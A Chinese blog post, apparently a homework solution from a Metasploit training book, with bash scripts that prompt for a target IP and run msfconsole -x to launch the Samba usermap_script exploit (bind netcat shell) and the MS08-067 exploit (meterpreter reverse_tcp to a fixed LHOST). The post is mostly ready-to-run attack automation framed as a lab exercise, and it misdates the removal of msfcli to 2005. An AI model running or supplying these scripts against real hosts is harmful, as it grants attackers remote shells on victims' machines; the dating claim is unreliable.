Metasploit使用msfcli命令行接口编写shell脚本程序

问题描述

  使用msfcli命令行接口编写一个Shell脚本程序,实现用户只需输入目标Linux靶机IP地址作为参数,就可以使用usermap_script漏洞渗透攻击模块,获得靶机的远程Shell访问。

解决办法

  由于2005年时便取消了msfcli,因此使用msfconsole -x来代替msfcli。
  先提供脚本内容如下:

#!/bin/bash  #表示使用Bourne Again Shell的shell类型
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP  #提示用户输入IP并将该值赋值给变量IP
msfconsole -x "use exploit/multi/samba/usermap_script;\set PAYLOAD cmd/unix/bind_netcat;\set RHOST $IP;\set LHOST 192.168.161.128;\set TARGET 34;\exploit"

  将该脚本保存为为“test.sh”,并cd到该脚本文件目录:

chmod +x ./test.sh   #使脚本具有执行权限 chmod -x 删除权限
./test.sh   #执行脚本

  注意,一定要写成 ./test.sh,而不是 test.sh,运行其它二进制的程序也一样,直接写 test.sh,linux 系统会去 PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。

  由于笔者在进行该部分实验时没配置其他Linux虚拟机,因此使用了漏洞ms08_067来完成对中文版Windows XP SP3的渗透攻击,此时shell内容更改为:

#!/bin/bash
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set PAYLOAD windows/meterpreter/reverse_tcp;\set RHOST $IP;\set LHOST 192.168.161.128;\set TARGET 34;\exploit"

  运行后得到如下结果:
在这里插入图片描述

解题思路

  首先应该学习Shell脚本的语言规则,再利用该脚本进行编写。在编写msfconsole -x的内容之前,应该首先使用msfconsole将命令运行一遍之后,观察是否成功,再进行命令的Shell编写。

参考资料

《Metasploit魔鬼训练营》第一章实践作业
Shell 教程

热门文章

暂无图片
编程学习 ·

leetcode 124. 二叉树中的最大路径和

题目 给定一个非空二叉树,返回其最大路径和。 本题中,路径被定义为一条从树中任意节点出发,达到任意节点的序列。该路径至少包含一个节点,且不一定经过根节点。 思路 简单题,dfs返回当前节点为一端的最大链。答案有两种情况,1 当前节点到子孙的一条链 2 当前节点为中端,…
暂无图片
编程学习 ·

7-9 1.2.5 双重回文数 (70分)

如果一个数从左往右读和从右往左读都是一样,那么这个数就叫做“回文数”.例如,12321 就是一个回文数,而 77778 就不是. 当然,回文数的首和尾都应是非零的,因此 0220 就不是回文数. 事实上,有一些数(如 21),在十进制时不是回文数,但在其它进制(如二进制时为 10101)时就是 回…
暂无图片
编程学习 ·

AcWing - 90. 64 位整数乘法 【 位运算 】题解

目录1.题目2.代码 1.题目 求 a 乘 b 对 p 取模的值。 输入格式 第一行输入整数a,第二行输入整数b,第三行输入整数p。 输出格式 输出一个整数,表示a*b mod p的值。 数据范围 1≤a,b,p≤1018 输入样例: 3 4 5 输出样例: 2 2.代码 #include<iostream> #include<cstd…
暂无图片
编程学习 ·

Vue动态缓存页面

原理通过keep-alive标签的include属性及vuex完成 需求说明:A页面到B页面需要缓存,A页面到C页面不需要缓存 所要缓存页面的顶级出口 <keep-alive :include="kpAlive"><router-view/> </keep-alive><script> export default {computed: {/**…
暂无图片
编程学习 ·

thinkphp5.0集成phpword,生成word文档并下载

** 目录 ** 安装 使用 安装 github下载地址:https://github.com/PHPOffice/PHPWord 也可直接使用composer安装, composer require phpoffice/phpword使用 你需要的controller用命名空间的方式引入 use PhpOffice\PhpWord\IOFactory; use PhpOffice\PhpWord\PhpWord;在contro…
暂无图片
编程学习 ·

FIF智慧教学平台使用电脑获取手机相册教程

需要准备工具如下:手机一部 电脑一台 数据线一根1.手机连接电脑 首先用数据线将手机和电脑连在一起,然后你会发现你的手机出现了这样一个东西(博主用的是魅族手机,其余手机与之类似):然后点击这个东西进入下面的页面,选择文件传输:这样手机连接电脑的操作就完成了。 2.…
暂无图片
编程学习 ·

Spring源码解析 - springMVC核心代码(一)

一、首先来讲解下springMVC的底层工作流程1、首先我们重点放在前端控制器(DispatcherServlet)其类图:因为从流程图看,用户的请求最先到达就是DispatcherServlet。他是springmvc的核心,也是中央出处理器。因此我们分析源码,先看看他是什么样的流程:通过源码可看到:他是继…
暂无图片
编程学习 ·

ssm专题学习-spring的使用与相关项目的实现(1)

ssm专题学习-spring的使用与相关项目的实现(1)前言配置maven更改镜像创建项目更新并下载所需jar包web.xml、applicationContext.xml和spring-mvc.xml配置建立架构UserUserControllerUserDaoUserServiceIUserServiceJSP部分效果图 前言 暑期线上实训的第四节课。从今天开始课程…
暂无图片
编程学习 ·

spring IOC容器 Bean 管理——基于注解方式

IOC 操作 Bean 管理(基于注解方式) ​ 1、什么是注解 ​ (1)注解是代码特殊标记,格式:@注解名称(属性名称=属性值, 属性名称=属性值…) ​ (2)使用注解,注解作用在类上面,方法上面,属性上面 ​ (3)使用注解目的:简化 xml 配置 ​ 2、Spring 针对 Bean 管理中创建对…
暂无图片
编程学习 ·

Kotlin上手(一)

标准函数with with函数接收两个参数,第一个参数是任意类型的对象,第二个是Lambda表达式。with函数会在Lambda表达式中提供第一个参数的上下文,并使用Lambda表达式中的最后一行代码作为返回值返回。 fun test() {val list = listOf("Apple", "Banana", &…
暂无图片
编程学习 ·

Kafka中位移提交那些事儿

本文已收录GitHub,更有互联网大厂面试真题,面试攻略,高效学习资料等之前我们说过,Consumer 端有个位移的概念,它和消息在分区中的位移不是一回事儿,虽然它们的英文都是 Offset。今天我们要聊的位移是 Consumer 的消费位移,它记录了Consumer 要消费的下一条消息的位移。这…
暂无图片
编程学习 ·

MySQL--02(安装)

A:MySQL的安装 Linux/UNIX 上安装 MySQL Linux平台上推荐使用RPM包来安装Mysql,MySQL AB提供了以下RPM包的下载地址: 1.MySQL - MySQL服务器。你需要该选项,除非你只想连接运行在另一台机器上的MySQL服务器。 2.MySQL-client - MySQL 客户端程序,用于连接并操作Mysql服务器…
暂无图片
编程学习 ·

http相关

http相关下载文件 下载文件 //处理中文文件名乱码if (request.getHeader("User-Agent").toUpperCase().contains("MSIE") ||request.getHeader("User-Agent").toUpperCase().contains("TRIDENT")|| request.getHeader("User-Agen…
暂无图片
编程学习 ·

项目实训——数据渲染数据引擎

项目实训——数据渲染数据引擎数据渲染layui卡片布局layui分页layui数据引擎遇到的问题 今天的任务就是要做出每个版块的页面。板块页面最重要就是数据的渲染。为了样式的统一,我继续使用layui,在这里用的是模板引擎laytpl。 数据渲染 layui卡片布局 为了美观,我使用了卡片式…
暂无图片
编程学习 ·

【leetcode C语言实现】剑指 Offer 07.重建二叉树

题目描述 输入某二叉树的前序遍历和中序遍历的结果,请重建该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。 例如,给出 前序遍历 preorder = [3,9,20,15,7] 中序遍历 inorder = [9,3,15,20,7] 返回如下的二叉树:限制: 0 <= 节点个数 <= 5000 来源:…
暂无图片
编程学习 ·

appium获取toast

环境准备:appium server 1.7版本 下载地址:https://github.com/appium/appium-desktop/releases/tag/v1.5.0下载appium-desktop-Setup-1.5.0-ia32.exe 并启动服务安装appium-uiautomator2-driver使用npm命令安装,npm如何安装自己百度。 npm install appium-uiautomator2-dri…
暂无图片
编程学习 ·

从word中复制内容包含图片到百度ueditor编辑器中

1.4.2之后官方并没有做功能的改动,1.4.2在word复制这块没有bug,其他版本会出现手动无法转存的情况本文使用的后台是Java。前端为Jsp(前端都一样,后台如果语言不通得自己做 Base64编码解码)因为公司业务需要支持IE8 ,网上其实有很多富文本框,效果都很好。例如www.wangEdi…
暂无图片
编程学习 ·

文字后面显示展开或者收取

文字后面显示展开或者收取 在文字显示时,可能有这样的要求,例如,限制文字为3行,超过3行后,在文字最后显示"查看更多" 在网络上搜索了下,有如下的几种方式来实现: 1.开源控件,使用TruncationTokenYYLabel 点击展开和收起全文 展开label,利用YYText实现文字显…
暂无图片
编程学习 ·

框架的一些常见问题

1,SpringMVC1,工作流程(客户端发送一个请求,到服务器响应信息回到客户端)DispatcherServlet,会随着容器的启动而启动2,SpringMVC+Spring这种开发模式的时候,会有两个容器两个容器,SpringMVC容器,Spring容器SpringMVC容器管理,controller,Handlermapping,ViewResol…